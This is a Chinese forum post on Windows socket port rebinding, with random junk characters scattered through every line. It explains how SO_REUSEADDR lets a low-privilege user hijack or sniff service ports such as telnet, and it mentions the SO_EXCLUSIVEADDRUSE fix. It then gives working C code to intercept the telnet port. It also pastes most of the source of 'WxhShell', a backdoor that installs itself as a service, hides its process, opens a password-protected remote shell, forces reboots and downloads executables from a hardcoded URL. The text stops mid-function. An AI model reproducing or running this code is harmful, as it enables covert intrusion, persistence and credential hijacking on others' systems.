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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qx8O&C?Ti  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /k KVIlO  
h#Z~x  
  saddr.sin_family = AF_INET; 2L S91  
<CWOx&hr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 19i=kdH  
6M[OEI5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v7<r- <I[  
VDlP,Mm*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X$=/H 6R5Z  
rxOv YF  
  这意味着什么?意味着可以进行如下的攻击: {6mFI1;q  
@DKph!c r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x??H%'rP  
~BgNM O;|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n`D-?]*  
:ay`Id_tm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]?_V+F  
Ue=1NnRDkA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ->W rBO  
L$?YbQo7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u6 4{w,  
2>)::9e4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !gi3J @  
Ki(0s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8Rnq &8A  
QEP|%$:i  
  #include Kc`#~-`,(  
  #include k)agbx  
  #include C#. 27ah  
  #include    G4%dah 5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A`V:r2hnb  
  int main() ~n%]u! 6  
  { Q 822 #  
  WORD wVersionRequested; 4{%-r[C9k  
  DWORD ret; $ Zj3#l:rK  
  WSADATA wsaData; @eP(j@(^  
  BOOL val; 8aVj@x$'  
  SOCKADDR_IN saddr; Z& bIjp  
  SOCKADDR_IN scaddr; fz%e?@>q  
  int err; 9 xFX"_J  
  SOCKET s; AbB+<0  
  SOCKET sc; 0QBK(_O`  
  int caddsize; Mlo:\ST|  
  HANDLE mt; vAtR\ Vh  
  DWORD tid;   G;]zX<2^3  
  wVersionRequested = MAKEWORD( 2, 2 ); [pSQ8zdF"  
  err = WSAStartup( wVersionRequested, &wsaData ); L"}2Y3  
  if ( err != 0 ) { FLQ^J3A,I  
  printf("error!WSAStartup failed!\n"); ZFtN~Tg  
  return -1; )jMk ~;'r  
  } wvH*<,8V q  
  saddr.sin_family = AF_INET; 9L>ep&u)^  
   uExYgI`<%&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [pz1f!Wn  
v"dl6%D"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B \.0 5<  
  saddr.sin_port = htons(23); US&:UzI.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }sM_^&e4X  
  { >~uKkQ_p  
  printf("error!socket failed!\n"); ! ~+mf^D  
  return -1; O>IG7Ujl  
  } "Jg* /F  
  val = TRUE; LHs^Xo18  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _ !k\~4U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hYVy65Ea  
  { LGWQBEXw  
  printf("error!setsockopt failed!\n"); Rc}#4pM8  
  return -1; 3# idXc  
  } G$jw#a[L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1t7T\~ +F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WDh*8!)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4qyPjAG  
2`V(w[zTr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "S psSQ  
  { aK8X,1g%)  
  ret=GetLastError();  !~]'&9  
  printf("error!bind failed!\n"); eX o@3/  
  return -1; z?(QM:  
  } fUB+9G(Bx  
  listen(s,2); %F]:nk`  
  while(1) 8-q4'@(  
  { ;})s o  
  caddsize = sizeof(scaddr); U_5\ FM  
  //接受连接请求 :SVWi}:Co1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jn>RE   
  if(sc!=INVALID_SOCKET) YJB f~0r  
  { kSO:xS0 _N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {(^%2dk83C  
  if(mt==NULL) ]ru UX  
  { !{ /AJb  
  printf("Thread Creat Failed!\n"); G":u::hR  
  break; .q9i10C  
  } 7 JVonruaR  
  } P6;Cohfh  
  CloseHandle(mt); gv9z`[erS  
  } usI$  
  closesocket(s); m/NXifi8l  
  WSACleanup(); IoWK 8x  
  return 0; Ml9  
  }   4z!(!J )  
  DWORD WINAPI ClientThread(LPVOID lpParam) JAI;7  
  { w&LL-~KI+  
  SOCKET ss = (SOCKET)lpParam; 9E]7Etfw  
  SOCKET sc; 1fU~&?&-u  
  unsigned char buf[4096]; vaj-|&  
  SOCKADDR_IN saddr; IsP!ZcV;  
  long num; |BA<> WE  
  DWORD val; Mt+gg F.  
  DWORD ret; l*n4d[0J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $Z4IPs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =idZvD  
  saddr.sin_family = AF_INET; "6o5x&H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C/A~r  
  saddr.sin_port = htons(23); #nJ&`woZt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ixv/xI  
  { -gb'DN1BG  
  printf("error!socket failed!\n"); T>pz?e^5&  
  return -1; !<j)D_  
  } '1Q [&  
  val = 100; =bB7$#al  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N!^5<2z@eT  
  { D^\2a;[AxA  
  ret = GetLastError(); a1# 'uS9W  
  return -1; ;U$EM+9  
  } ]$?\,`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f)!7/+9>  
  { %R LGO&  
  ret = GetLastError(); f2RIOL,  
  return -1; o:Q.XWa@MG  
  } jd?NN:7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {-)*.l=  
  { x>~.cey  
  printf("error!socket connect failed!\n"); =CjN=FM  
  closesocket(sc); z+%74O"c  
  closesocket(ss); qn|~z@"  
  return -1; 9>HCt*|_8  
  } vP{;'R  
  while(1) 9aZ^m$tAt  
  { f3HleA&&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sn.&|)?Fi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q!"W)tD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SjB#"A5  
  num = recv(ss,buf,4096,0); Y'v;!11#  
  if(num>0) R3Ka^l8R|  
  send(sc,buf,num,0); Gmp`3  
  else if(num==0) 'or8CGr^p  
  break; A J"/T+g_  
  num = recv(sc,buf,4096,0); &[|P/gj#>  
  if(num>0) >@c~M  
  send(ss,buf,num,0); g?d*cwtU  
  else if(num==0) , 1` -u$  
  break; 2OQDG7#Kc  
  } o:"^@3  
  closesocket(ss); Wx-vWWx*Q  
  closesocket(sc); ;l>C[6]  
  return 0 ; .WT^L2l%  
  } |8YP8o  
=FtJa3mHK  
$(U}#[Vie  
========================================================== h1 (MvEt  
%:WM]dc  
下边附上一个代码,,WXhSHELL CiSl 0  
.a *^6TC.  
========================================================== @"E{gM@B  
KGoHn6jM  
#include "stdafx.h" ,Y3wXmG  
K0Zq )<  
#include <stdio.h> Jf{ M[ z  
#include <string.h> @*rED6zH  
#include <windows.h> b[_${in:  
#include <winsock2.h> 5};$>47m  
#include <winsvc.h> .A2u7*h&  
#include <urlmon.h> \<R.F  
_cW6H B^j  
#pragma comment (lib, "Ws2_32.lib") ~8 w(M  
#pragma comment (lib, "urlmon.lib") r06M.r   
0{ ;[k  
#define MAX_USER   100 // 最大客户端连接数 +\O[)\  
#define BUF_SOCK   200 // sock buffer Udh!%QP%[w  
#define KEY_BUFF   255 // 输入 buffer bhb*,iWA  
!(wH}ti  
#define REBOOT     0   // 重启 11Hf)]M   
#define SHUTDOWN   1   // 关机 tSvklI  
U.B=%S  
#define DEF_PORT   5000 // 监听端口 {k}EWV  
j$8i!C  
#define REG_LEN     16   // 注册表键长度 f; "6I  
#define SVC_LEN     80   // NT服务名长度 4fCg{  
-=A W. Z o  
// 从dll定义API ;dh8|ujh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a|v}L,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "<J%@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0u"/7OU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VI (;8  
]O;Hlty(g  
// wxhshell配置信息 8{GRrwQ>  
struct WSCFG { 23;e/Qr  
  int ws_port;         // 监听端口 BOQeP/>  
  char ws_passstr[REG_LEN]; // 口令 !dW77kLTg  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hw"UJP  
  char ws_regname[REG_LEN]; // 注册表键名 H~P"uYKIZ  
  char ws_svcname[REG_LEN]; // 服务名 pM i w9}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F}lgy;=h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l< y9ue=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *I(g~p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (cj3[qq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (3=(g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iWN-X (  
u8wZ2j4S  
}; /@.c 59r  
XT|!XC!|  
// default Wxhshell configuration weOzs]uc  
struct WSCFG wscfg={DEF_PORT, &z\]A,=T c  
    "xuhuanlingzhe", ;|hEXd?b  
    1, `>q|_w \e  
    "Wxhshell", '%m0@5|hCD  
    "Wxhshell", 7(<49bb.V  
            "WxhShell Service", =!#iC?I  
    "Wrsky Windows CmdShell Service", 4#qjRmt  
    "Please Input Your Password: ", $pT%7jV}  
  1, <}E^r_NvD  
  "http://www.wrsky.com/wxhshell.exe", IFX|"3[$  
  "Wxhshell.exe" ] _/d  
    }; YW}1iT/H  
Iy}r'#N  
// 消息定义模块 $DfaW3bJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J\%<.S>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V+dfV`*k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ur626}  
char *msg_ws_ext="\n\rExit."; 4R U1tWQ%  
char *msg_ws_end="\n\rQuit."; 8O]U&A@  
char *msg_ws_boot="\n\rReboot..."; 4nhe *ip  
char *msg_ws_poff="\n\rShutdown..."; #&1Y!kbdd  
char *msg_ws_down="\n\rSave to "; LaE;{jY  
mF>CH]k3  
char *msg_ws_err="\n\rErr!"; FNDLqf!j  
char *msg_ws_ok="\n\rOK!"; sQA{[l!aj  
{1GW,T!#  
char ExeFile[MAX_PATH]; %;0w2W  
int nUser = 0; .'SXRrn&:C  
HANDLE handles[MAX_USER]; 3_atv'I  
int OsIsNt; 4Pljyq:  
<(JsB'TK  
SERVICE_STATUS       serviceStatus; n/"T7Y\2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Upg\(  
wE75HE`gW  
// 函数声明 v`hv5wQ  
int Install(void); \ooqa<_  
int Uninstall(void); Gc9^Z=  
int DownloadFile(char *sURL, SOCKET wsh); ~^.&nph  
int Boot(int flag); 6,xoxNoPP3  
void HideProc(void); g)'tr '  
int GetOsVer(void); K.2M=Q  
int Wxhshell(SOCKET wsl); %f;(  
void TalkWithClient(void *cs); r2T?LO0N{  
int CmdShell(SOCKET sock); LoG@(g&)  
int StartFromService(void); Yi[dS`,d  
int StartWxhshell(LPSTR lpCmdLine); t.pg;#  
Uc0AsUu}?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q:~w;I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @2_s;!K  
+k"dN^K]D  
// 数据结构和表定义 Et'C4od s  
SERVICE_TABLE_ENTRY DispatchTable[] = HHZ!mYr  
{ kXC.rgal  
{wscfg.ws_svcname, NTServiceMain}, bE>3D#V<  
{NULL, NULL} ABV\:u  
}; ,l<-*yMD  
z1+rz%  
// 自我安装 1#qCD["8  
int Install(void) LM'` U-/e$  
{ +29;T0>a  
  char svExeFile[MAX_PATH]; Z"? AaD[  
  HKEY key; Za!c=(5  
  strcpy(svExeFile,ExeFile); DuvP3(K  
BH0rT})  
// 如果是win9x系统,修改注册表设为自启动 SEchF"KJQF  
if(!OsIsNt) { ^TWN_(-@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~rCnST  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n@L!{zY  
  RegCloseKey(key); l7{hq}@;cC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +>qBK}`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "tIf$z  
  RegCloseKey(key); savz>E &  
  return 0; FA^x|C=$  
    } ~+7yi4(i  
  } g}^ /8rW  
} |/fbU_d  
else { Xs?7Whc6  
zF i+6I$  
// 如果是NT以上系统,安装为系统服务 TiBE9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,P"R.A  
if (schSCManager!=0) ;D8Nya>%  
{ 24N,Bo 3  
  SC_HANDLE schService = CreateService e+R.0E  
  ( .%wEuqW=0  
  schSCManager, ]bnxOk  
  wscfg.ws_svcname, Y)u} +Yg  
  wscfg.ws_svcdisp, SbnV U[  
  SERVICE_ALL_ACCESS, e3>Re![_.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y%,BDyK  
  SERVICE_AUTO_START, $ B9=v  
  SERVICE_ERROR_NORMAL, =@w:   
  svExeFile, xKr,XZu  
  NULL, `SwnKg  
  NULL, 0&\Aw'21  
  NULL, (>K$gAQH  
  NULL, L&N"&\K2U  
  NULL qC4-J)8 Wk  
  ); 'oHR4O*  
  if (schService!=0) X2uX+}h*tA  
  { 84[^#ke  
  CloseServiceHandle(schService); r9Z/y*q  
  CloseServiceHandle(schSCManager); u7=[~l&L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'JMa2/7CG  
  strcat(svExeFile,wscfg.ws_svcname); kUUq9me&o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #~x5}8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  * [5  
  RegCloseKey(key); tAA7  
  return 0; W*<]`U_.  
    } /( V=Um^0  
  } >&&xJ5  
  CloseServiceHandle(schSCManager); t4IJ%#22  
} =vc5,  
} '/H(,TM  
AVr!e   
return 1; jVINc=o  
} K*Jtyy}r  
upDQNG>d  
// 自我卸载 Ng"vBycy  
int Uninstall(void) i-?zwVmn  
{ @;6}xO2  
  HKEY key; cWc)sb  
$P(nh'\  
if(!OsIsNt) { #FB>}:L{h*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [!&k?.*;<  
  RegDeleteValue(key,wscfg.ws_regname); A,{D9-%  
  RegCloseKey(key); xiF%\#N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M: "ci;*$  
  RegDeleteValue(key,wscfg.ws_regname); rl%Kn^JJ~  
  RegCloseKey(key); 9>R|k$`  
  return 0; 6 b}feEh$!  
  } ' D&G~$  
} Qm#i"jvV  
} v)yimIHzo  
else { k Ml<  
$t$f1?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =.E(p)fz  
if (schSCManager!=0) [bv@qBL  
{ pU ]{Z(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @6q$Zg/  
  if (schService!=0) FA9e(Ha   
  { <S$21NtM87  
  if(DeleteService(schService)!=0) { i8Y gG0[)  
  CloseServiceHandle(schService); wWw/1i:|'  
  CloseServiceHandle(schSCManager); k_n{Mss'9  
  return 0; n ;5?^Un%  
  } j#,M@CE  
  CloseServiceHandle(schService); ennz/'  
  } t4_K>Mj+d  
  CloseServiceHandle(schSCManager); (u&yb!`  
} :WIf$P?X  
} WWcm(q =  
AtlR!I EUb  
return 1; _CJr6Evs  
} kA<r:/  
?ev G=S4>  
// 从指定url下载文件 .p9h$z^  
int DownloadFile(char *sURL, SOCKET wsh) P$/A!r  
{ /Q8A"'Nk  
  HRESULT hr; +~Lzsh"  
char seps[]= "/"; :5M}Iz7  
char *token; $Ds]\j*  
char *file; ~cBc&u:"  
char myURL[MAX_PATH]; ~e<'t4  
char myFILE[MAX_PATH]; d4>-a^)V  
+Z&&H'xD  
strcpy(myURL,sURL); /v)!m&6]>  
  token=strtok(myURL,seps); L*01l"5  
  while(token!=NULL) DUKmwKM"k  
  { [y[v]'  
    file=token; `$Flgp0P  
  token=strtok(NULL,seps); bC>>^?U1m  
  } pt%~,M _  
 +wW  
GetCurrentDirectory(MAX_PATH,myFILE); _@pf1d$  
strcat(myFILE, "\\"); kqigFcz!Y  
strcat(myFILE, file); u AS8F=9xP  
  send(wsh,myFILE,strlen(myFILE),0); >?W;>EUH  
send(wsh,"...",3,0); J s<MJ4r>/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *<1x:PR  
  if(hr==S_OK) |vDoqlW  
return 0; RrU~"P1C  
else \1`DaQp7  
return 1; 0/P-> n~  
199hQxib:  
} _2X6bIE  
P tQ#  
// 系统电源模块 renmz,dJ,  
int Boot(int flag) Be>c)90bO_  
{ O<Sc.@~  
  HANDLE hToken; _HHJw""j  
  TOKEN_PRIVILEGES tkp; ym*#ZE`B!  
Y0X94k.u  
  if(OsIsNt) { W[X!P)=w]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hrg=sR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *o e0=  
    tkp.PrivilegeCount = 1; w4fJ`,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ds$\vSd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @7l=+`.i  
if(flag==REBOOT) { XJlDiBs9=Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7{+Io  
  return 0; \LoSUl i  
} r< ?o}Qq  
else { ?9zoQ[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {uwk[f{z  
  return 0; Kjn&  
} \B>[je-d  
  } )_X xk_  
  else { t`8e#n 9  
if(flag==REBOOT) { ~b$z\|Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xL39>PB  
  return 0; OZC/+"\,  
} !w#ru?L{  
else { ;sck+FP7w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d%_78nOh"  
  return 0; Qk~0a?#y5  
} $;)noYo  
} 0'%+X|  
9B#)h)h(=  
return 1; q(&^9"  
} qD$GKN.  
X$uz=)  
// win9x进程隐藏模块 71 L\t3fG  
void HideProc(void) d)hzi  
{ rtYb"-&  
[!:-m61  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &w;^m/zP3  
  if ( hKernel != NULL ) RQ*|+ ~H  
  { fbHWBb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V 4\^TO`q=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s;-78ejj7  
    FreeLibrary(hKernel); A4#3O5kij  
  } `b^#quz  
gc,J2B]61  
return; Y>78h2AU  
} OXIu>jF  
#!8^!}nFO  
// 获取操作系统版本 ~ F?G5cN5  
int GetOsVer(void) _#J_$CE#  
{ "LP, TC  
  OSVERSIONINFO winfo; h7de9Rt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cz=A{< ^g  
  GetVersionEx(&winfo); E'&OOEMN-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I8<Il ^  
  return 1; h \D_  
  else &prdlh=UE  
  return 0; V 5e\%  
} (<]\,pP0_  
u|m[(-`  
// 客户端句柄模块 gJFR1  
int Wxhshell(SOCKET wsl) B&4fYpn  
{ e?^ \r)1  
  SOCKET wsh; )d770Xg+  
  struct sockaddr_in client; ^Txu ~r0@  
  DWORD myID;  l5ZADK4  
R "/xne  
  while(nUser<MAX_USER) vi[#? ;pkF  
{ LaIW,+  
  int nSize=sizeof(client);  95.qAFB1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cS"f  
  if(wsh==INVALID_SOCKET) return 1; x38SSzG:L  
>u9id>+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0%;N9\  
if(handles[nUser]==0) Cbgj@4H  
  closesocket(wsh); F:[7^GQZ{  
else ou<S)_|Iu  
  nUser++; 3o+KP[A  
  } L?=#*4t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {f`lSu  
_L&n&y1+%  
  return 0; IZ4W_NN  
} ONjC(7  
rmY,v  
// 关闭 socket ]Y_{P~ZX  
void CloseIt(SOCKET wsh) egZyng pB  
{ 7.wR"1p#  
closesocket(wsh); (l\a'3a.  
nUser--; }Kv h`@CiJ  
ExitThread(0); +Od1)_'\D3  
} A5CdLwk  
i&A{L}eCr:  
// 客户端请求句柄 .+{nA}Bc  
void TalkWithClient(void *cs) EpRXjz  
{ /~H[= Pf  
/[\6oa  
  SOCKET wsh=(SOCKET)cs; a(PjcQ4dY  
  char pwd[SVC_LEN]; eP V-yy  
  char cmd[KEY_BUFF]; G*kE~s9R  
char chr[1]; SL[rn<x|  
int i,j; ,|e}Y [  
ljN zYg~-  
  while (nUser < MAX_USER) { gbYLA a  
ry$tK"v/  
if(wscfg.ws_passstr) { k-{yu8*';  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;V|M3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e(?:g@]-r  
  //ZeroMemory(pwd,KEY_BUFF); Iv'RLM  
      i=0; BhqhyX\D&y  
  while(i<SVC_LEN) { sFbfFUd  
$a`J(I  
  // 设置超时 z[WC7hvU  
  fd_set FdRead; fm3(70F\  
  struct timeval TimeOut; xCR; K]!  
  FD_ZERO(&FdRead); ]XmQ]Yit  
  FD_SET(wsh,&FdRead); whV&qe;sw  
  TimeOut.tv_sec=8; gsW=3m&`  
  TimeOut.tv_usec=0; Z 6 tE{/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T&?w"T2y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /6Y0q9  
m,\i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gE\A9L~b  
  pwd=chr[0]; 7sj<|g<h(_  
  if(chr[0]==0xd || chr[0]==0xa) { aML#Z|n  
  pwd=0; A;odVaH7  
  break; S$S_nNq  
  } y:qx5Mi  
  i++; }$^]dn@  
    } %p<$|'  
V]r hr  
  // 如果是非法用户,关闭 socket 6,B-:{{e"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  `>%-  
} 7;^((.]ln  
{?w"hjy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EY So=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZH\0=l)  
3 t/ R2M  
while(1) { wHA/b.jH  
,o BlJvm  
  ZeroMemory(cmd,KEY_BUFF); E3y6c)<  
(RExV?:  
      // 自动支持客户端 telnet标准   g4Y) Bz  
  j=0; iOl%-Y  
  while(j<KEY_BUFF) { p`\3if'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cvhlRI%6  
  cmd[j]=chr[0]; _8al  
  if(chr[0]==0xa || chr[0]==0xd) { +-U@0&Y3M  
  cmd[j]=0; pQqbZ3]  
  break; v5B" A"N  
  } R|-6o)$  
  j++; Sc$gnUYD{  
    } oBb?"2~9  
\$j^_C>  
  // 下载文件 mU>&ql?e  
  if(strstr(cmd,"http://")) { ]+mjOks~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `Uv)Sf{  
  if(DownloadFile(cmd,wsh)) Og=[4?Kpk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4e}{$s$Xx  
  else *vb^N0P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n|6?J_{<b>  
  } CF\R<rF<VS  
  else { :"VujvFX  
D@#0dDT  
    switch(cmd[0]) { XjxPIdX_H  
  uWh|C9Y!A  
  // 帮助 ) 9MrdVNv  
  case '?': { F%Kp9I*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u %'y_C3  
    break;  QGXQ{  
  } B "*`R!y  
  // 安装 `v~!H\q  
  case 'i': { $Y6 3!*  
    if(Install()) V`by*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xz|ayn  
    else _r]nJEF5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o!=WFAi[pX  
    break; 3B;}j/h2  
    } 3I]Fdp)'  
  // 卸载 '[Xl>Z[  
  case 'r': { 0potz]}  
    if(Uninstall()) V`[P4k+b   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "NKf0F  
    else U~wjR"='  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JIMWMk;ot  
    break; o*-9J2V=J  
    } -3` "E%9  
  // 显示 wxhshell 所在路径 G)8ChnJa!m  
  case 'p': { vnTq6:f#M  
    char svExeFile[MAX_PATH]; kQIfYtT  
    strcpy(svExeFile,"\n\r"); BB63x Ex  
      strcat(svExeFile,ExeFile); Z2#`}GI_m  
        send(wsh,svExeFile,strlen(svExeFile),0); l0Y?v 4  
    break; VRtO; F  
    } IO"hF  
  // 重启 gJh}CrU-  
  case 'b': { 2 Kl a8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J,(7.+`~#  
    if(Boot(REBOOT)) 0aogBg_@K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mL$f[  
    else { v77fQ0w3  
    closesocket(wsh); ZjS(ad*.2  
    ExitThread(0); /=T H08  
    } XMw.wQ '?  
    break; Ny^'IUu  
    } ~r&D6Y  
  // 关机 ;SKcbws  
  case 'd': { LQqfi ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =T4u":#N;  
    if(Boot(SHUTDOWN)) tFiR!f)  
